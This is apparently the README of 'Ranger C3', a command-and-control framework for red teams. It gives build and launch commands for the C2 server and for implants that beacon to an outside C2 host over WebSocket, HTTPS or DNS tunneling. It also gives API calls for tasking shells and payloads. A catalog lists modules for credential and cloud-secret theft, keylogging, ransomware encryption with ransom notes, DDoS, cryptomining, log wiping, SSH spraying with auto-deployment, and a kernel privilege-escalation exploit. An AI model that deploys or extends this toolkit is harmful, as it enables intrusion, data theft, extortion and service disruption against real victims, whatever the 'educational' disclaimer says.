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# Ranger C3 v3.0.0
**Distributed Multi-Node Mesh C2 Framework**
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```
**Ranger C3** is a distributed, multi-node Command & Control framework built for red team operations. It features a P2P mesh topology for resilience, encrypted WebSocket C2 channels, DNS tunneling fallback, a full operator web dashboard, and a library of native Go payload modules.
**DISCLAIMER** FOR EDUCATIONAL PURPOSES AND AUTHORIZED SECURITY TESTING ONLY.
---
## Key Features
| Capability | Description |
|---|---|
| Mesh topology | Distributed C2 nodes with P2P heartbeat — no single point of failure |
| Primary channel | WebSocket over HTTP/2 with XChaCha20-Poly1305 encrypted frames |
| Fallback channels | HTTPS REST beacon + DNS tunneling (base32 + AEAD) |
| Operator dashboard | Full SPA web UI — clickable implant drill-down, interactive shell, payload executor |
| Payload system | 24 native Go payload modules — compiled, no Python needed at runtime |
| Crypto | Ed25519 signing, XChaCha20-Poly1305 AEAD, SHA-256 key derivation |
| Auth | JWT-based operator authentication with token expiry |
| Persistence | SQLite (WAL mode, concurrent) |
---
## Architecture
```
┌──────────────────────┐
│ C2 Node Alpha │
│ (WS + REST + UI) │
└──────────┬───────────┘
│
┌─────────────────────┼──────────────────────┐
│ │ │
▼ ▼ ▼
┌────────────┐ ┌────────────┐ ┌────────────┐
│ C2 Node B │◄──────►│ C2 Node C │◄───────►│ C2 Node D │
│ (mesh) │ │ (mesh) │ │ (mesh) │
└───────┬────┘ └──────┬─────┘ └──────┬─────┘
│ │ │
▼ ▼ ▼
Implants Implants Implants
(WS / HTTPS) (DNS tunnel) (P2P relay)
```
### Communication Channels (in order of preference)
1. **WebSocket** (`/ws`) — Primary channel, persistent bi-directional, encrypted
2. **HTTPS POST** (`/api/v1/beacon`, `/api/v1/result`) — Fallback REST polling
3. **DNS Tunnel** (`/dns/<id>/<type>`) — Base32 + AEAD DNS query exfiltration
4. **P2P Mesh** — Implant-to-implant relay via mesh peers
### Crypto Stack
- **Signing**: Ed25519 with timestamp + nonce replay protection
- **Session encryption**: XChaCha20-Poly1305 AEAD
- **Key derivation**: SHA-256 with domain separation
- **TLS**: Optional mTLS between mesh peers
---
## Quick Start
### 1. Build
```bash
make build
```
Or individual targets:
```bash
make c2 # Linux C2 server
make implant # Cross-compile implants (win/linux/mac)
make stager # Cross-compile stagers (win/linux)
make payloads # Build standalone payload binaries
make build-all # Everything + cross targets (see notes below)
```
**Cross-compile notes:**
- `make build-all` cross-compiles the C2 for `linux/arm64`; the SQLite driver needs cgo, so it uses `aarch64-linux-gnu-gcc` by default. Install `gcc-aarch64-linux-gnu` (Debian/Ubuntu/Kali) or override: `make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc`.
- Full implant matrix: windows/amd64, linux/amd64, linux/arm64, linux/386, android/arm64, darwin/amd64.
- `process_inject` is linux/amd64-only; other architectures report it as unsupported instead of failing the build.
### 2. Start C2
```bash
# Basic (self-signed TLS, standalone). Set a session key so implants can
# encrypt; omit -key and the server generates and prints one.
./build/ranger-c2 \
--listen :4443 \
--password "opsec" \
--key 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef \
--db data/c2.db \
--gen-certs
# With P2P mesh
./build/ranger-c2 \
--listen :4443 \
--mesh :9000 \
--bootstrap "10.0.0.2:9000,10.0.0.3:9000" \
--password "opsec" \
--key 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef \
--db data/c2.db \
--gen-certs
```
### 3. Access Dashboard
```
https://your-c2:4443/dashboard
```
Login with the password you set. The dashboard auto-refreshes every 12 seconds.
### 4. Deploy Implant
```bash
# On target (match the server session key; trust the C2 cert):
./build/implant \
--c2 wss://your-c2:4443/ws \
--key 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef \
--ca certs/c2-cert.pem \
--beacon-min 60 \
--beacon-max 300
# With DNS fallback
./build/implant \
--c2 wss://your-c2:4443/ws \
--key 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef \
--ca certs/c2-cert.pem \
--dns-domain "rogue-c2.example.com" \
--beacon-min 120 \
--beacon-max 600
```
### 5. Self-signed TLS notes
`--gen-certs` / `--gen-certs-only` writes `certs/c2-cert.pem` + `certs/c2-key.pem` with SANs for `localhost`, the hostname and all local IPs (extend with `--cert-sans "10.0.0.5,c2.example.com"`). Certs are reused on later runs; `--force-certs` regenerates them.
The implant verifies the C2 certificate against the system trust store by default. For lab / self-signed setups pick one:
- `--ca certs/c2-cert.pem` - trust this exact cert (recommended)
- `--fingerprint <sha256>` - pin the cert: `openssl x509 -in certs/c2-cert.pem -noout -fingerprint -sha256`
- `--insecure` - skip verification (lab only)
Dashboard: accept the browser warning once, or import `certs/c2-cert.pem`. `curl`: `--cacert certs/c2-cert.pem` or `-k`.
### 6. Send Tasks
```bash
# Via API
curl -sk https://your-c2:4443/api/dashboard/task \
-H 'Authorization: Bearer <token>' \
-H 'Content-Type: application/json' \
-d '{"implant_id":"<id>","type":"shell","payload":{"command":"whoami"}}'
# Execute a Go payload module
curl -sk https://your-c2:4443/api/dashboard/task \
-H 'Authorization: Bearer <token>' \
-H 'Content-Type: application/json' \
-d '{"implant_id":"<id>","type":"payload","payload":{"name":"sysrecon","args":"--quick"}}'
```
---
## Operator Dashboard
The web dashboard is a fully interactive single-page application embedded in the C2 binary. Access at `/dashboard`.
### Implant List
- Sortable table: ID, Type, Hostname, Arch, Process, Status (Online/Offline), Beacons, Tasks, Last Seen
- Search bar filters by hostname, ID, type, or process
- Status filter: All / Online / Offline / Flagged / DNS
- Click any row to open the implant detail panel
### Implant Detail
Four-tab interface for each implant:
| Tab | Features |
|-----|----------|
| **Shell** | Interactive command input with terminal-style output log. Sends `shell` task type. Output shows on next beacon. |
| **Tasks** | Task history table (pending, delivered, completed). Custom task form — enter any type + JSON payload manually. |
| **Payload** | Dropdown of all available Go payloads (fetched from `/api/dashboard/payloads`). Argument input field. Execute button creates a `payload` task. |
| **Actions** | One-click quick actions: recon, sleep, screenshot, persist, self-destruct (with confirmation modal). Full implant metadata key-value display. Exfiltrated data viewer. |
### Mesh Peers
- Table of connected C2 mesh nodes: ID, Address, Implant Count, Last Seen, Version
- Live count stats cards
### Payloads
- Full manifest table from the payloads directory: Name, Category, Description, Platform, File
- Run on Implant — select an implant and execute any payload from the UI
---
## Payload Modules
All payloads are native Go — compiled binaries, no Python runtime required. The implant calls payloads in-process via the `internal/payloads` registry, or they can run standalone:
```bash
# List available payloads
go run ./cmd/payloads --list
# Run a payload standalone
go run ./cmd/payloads sysrecon
go run ./cmd/payloads ddos --arg target=10.0.0.5 --arg port=80 --arg duration=60 --arg mode=http
go run ./cmd/payloads fileransom --arg dir=/tmp/test --arg action=encrypt
```
### Payload Catalog
#### Reconnaissance
| Payload | Description |
|---------|-------------|
| `sysrecon` | Full system enumeration — OS, kernel, users, groups, processes, network interfaces, hardware, software, defenses, listening ports |
| `cloud_detector` | Detect cloud environment (AWS, Azure, GCP, DigitalOcean, Docker, Kubernetes) via metadata endpoints and DMI |
| `linpeas` | Lightweight Linux PEAS scanner — sudo perms, SUID, writable paths, cron, capabilities, kernel exploit checks |
#### Credential Theft
| Payload | Description |
|---------|-------------|
| `browserstealer` | Extract saved credentials, cookies, history, bookmarks from Chrome, Firefox, Edge, Brave, Safari |
| `hashdump` | Dump /etc/shadow hashes (requires root), SSH private keys, passwd data |
| `aws_cred_stealer` | Harvest AWS credentials from IMDS metadata, env vars, CLI config, ECS endpoints, Lambda runtime, userdata |
| `azure_cred_harvester` | Harvest Azure tokens from IMDS, env vars, Azure CLI config, Key Vault access |
| `k8s_secret_stealer` | Extract K8s secrets via API, kubeconfig files, service account tokens, mounted volumes |
#### Collection
| Payload | Description |
|---------|-------------|
| `keylogger` | Capture keystrokes via `showkey` or `xinput test` on Linux |
| `screenshot` | Capture screen via `import` (ImageMagick), `xwd`, `scrot`, or `gnome-screenshot` |
#### Persistence
| Payload | Description |
|---------|-------------|
| `persistence` | Establish persistence via cron jobs, systemd timers, anacron, AT jobs |
| `process_inject` | Linux ptrace-based shellcode injection into target process (requires root) |
#### Evasion
| Payload | Description |
|---------|-------------|
| `filehider` | Hide files via chattr +i, extended attributes, ACLs, timestomping, decoy files |
| `logcleaner` | Clean forensic traces from auth.log, syslog, journald, wtmp, btmp, bash_history, lastlog |
| `polyloader` | Polymorphic XOR loader for shellcode with variable key length |
#### Lateral Movement
| Payload | Description |
|---------|-------------|
| `sshspray` | SSH credential spraying with goroutine worker pool. Supports CIDR ranges, IP ranges, custom wordlists |
| `container_escape` | Container escape techniques: privileged check, Docker socket escape, cgroup mount, nsenter host namespace, sensitive mount discovery |
| `autodeploy` | Host discovery (fping, TCP port scan) + SSH credential brute-force + implant deployment |
#### Impact
| Payload | Description |
|---------|-------------|
| `fileransom` | AES-256-GCM file encryption with PBKDF2 key derivation. Generates ransom note. Supports directory walk with skip-lists. |
| `ddos` | Multi-method DoS: HTTP flood, TLS handshake, UDP flood, TCP SYN flood, Slow POST (RUDY), WebSocket flood, combo. Goroutine-concurrent, context-cancellable. |
| `competitor_cleaner` | Detect and kill competing/miner processes, remove malicious files, clean cron entries |
| `mine` | Monero stratum mining client |
#### Exploit
| Payload | Description |
|---------|-------------|
| `copyfail` | CVE-2026-31431 — Linux kernel LPE via AF_ALG page-cache corruption (kernels 4.14+, no compilation needed on target) |
#### Exfiltration
| Payload | Description |
|---------|-------------|
| `dnstunnel` | DNS tunneling: fragment data into base32-encoded AES-encrypted DNS queries. Reassembly with sequence numbers on server side. |
---
## API Reference
### Implant Endpoints (unauthenticated)
| Method | Path | Description |
|--------|------|-------------|
| WebSocket | `/ws` | Primary implant channel (upgrade + encrypted binary frames) |
| POST | `/api/v1/beacon` | Fallback HTTP beacon — body: `BeaconPayload` JSON |
| POST | `/api/v1/result` | Task result submission — body: `TaskResult` JSON |
| Any | `/dns/<id>/<type>` | DNS exfil reception — raw body as exfil data |
### Operator API (JWT-authenticated)
| Method | Path | Description |
|--------|------|-------------|
| POST | `/api/dashboard/login` | Authenticate — body: `{"password":"..."}`, returns `{"token":"..."}` |
| GET | `/api/dashboard/config` | C2 info — version, node ID, implant/peer counts, uptime |
| GET | `/api/dashboard/implants` | List all registered implants |
| GET | `/api/dashboard/implant/<id>` | Single implant details |
| GET | `/api/dashboard/tasks/<id>` | Tasks for implant `<id>` |
| POST | `/api/dashboard/task` | Create a task — body: `{"implant_id":"...","type":"...","payload":{...}}` |
| GET | `/api/dashboard/peers` | List mesh-connected C2 nodes |
| GET | `/api/dashboard/payloads` | List available payload modules from manifest |
| GET | `/api/dashboard/exfil/<id>` | Exfiltrated data for implant `<id>` |
### Task Types
| Type | Payload | Description |
|------|---------|-------------|
| `shell` | `{"command":"whoami"}` | Execute a shell command on target |
| `payload` | `{"name":"sysrecon","args":"--quick"}` | Run a Go payload module in-process |
| `recon` | `{}` | Quick system recon |
| `sleep` | `{"duration":3600}` | Change beacon interval |
| `upload` | `{"path":"/tmp/file"}` | Upload file from target to C2 (queued) |
| `download` | `{"url":"https://...", "path":"/tmp/out"}` | Download file to target (queued) |
| `exit` | `{}` | Self-destruct implant |
---
## Command-Line Flags
### C2 Server (`./build/ranger-c2`)
| Flag | Default | Description |
|------|---------|-------------|
| `--listen` | `:4443` | C2 listen address |
| `--mesh` | `""` | P2P mesh listen address (empty = no mesh) |
| `--bootstrap` | `""` | Comma-separated bootstrap mesh peers |
| `--db` | `data/c2.db` | SQLite database path |
| `--password` | `""` | Dashboard login password |
| `--key` | auto | Implant session key (64 hex chars); generated and printed when omitted |
| `--cert` / `--tls-key` | `""` | TLS certificate and key files |
| `--gen-certs` | `false` | Generate or reuse self-signed TLS certs |
| `--gen-certs-only` | `false` | Generate or reuse certs and exit |
| `--force-certs` | `false` | Regenerate certs even if they exist |
| `--cert-sans` | `""` | Extra comma-separated DNS names / IPs for cert SANs |
| `--id` | auto | C2 node identifier |
### Implant (`./build/implant`)
| Flag | Default | Description |
|------|---------|-------------|
| `--c2` | required | C2 WebSocket URL (e.g., `wss://host:4443/ws`) |
| `--key` | auto | Session key hex - must match the C2 server |
| `--dns-domain` | `""` | DNS tunneling fallback domain |
| `--beacon-min` | `60` | Minimum beacon interval (seconds) |
| `--beacon-max` | `300` | Maximum beacon interval (seconds) |
| `--debug` | `false` | Enable verbose logging |
| `--ca` | `""` | PEM file with CA / server certificate to trust |
| `--fingerprint` | `""` | Pin the C2 certificate by SHA-256 fingerprint |
| `--insecure` | `false` | Skip TLS certificate verification (lab only) |
<img width="866" height="150" alt="image13" src="https://github.com/user-attachments/assets/3bffe6ec-1021-4e37-8805-9390039eb8d0" />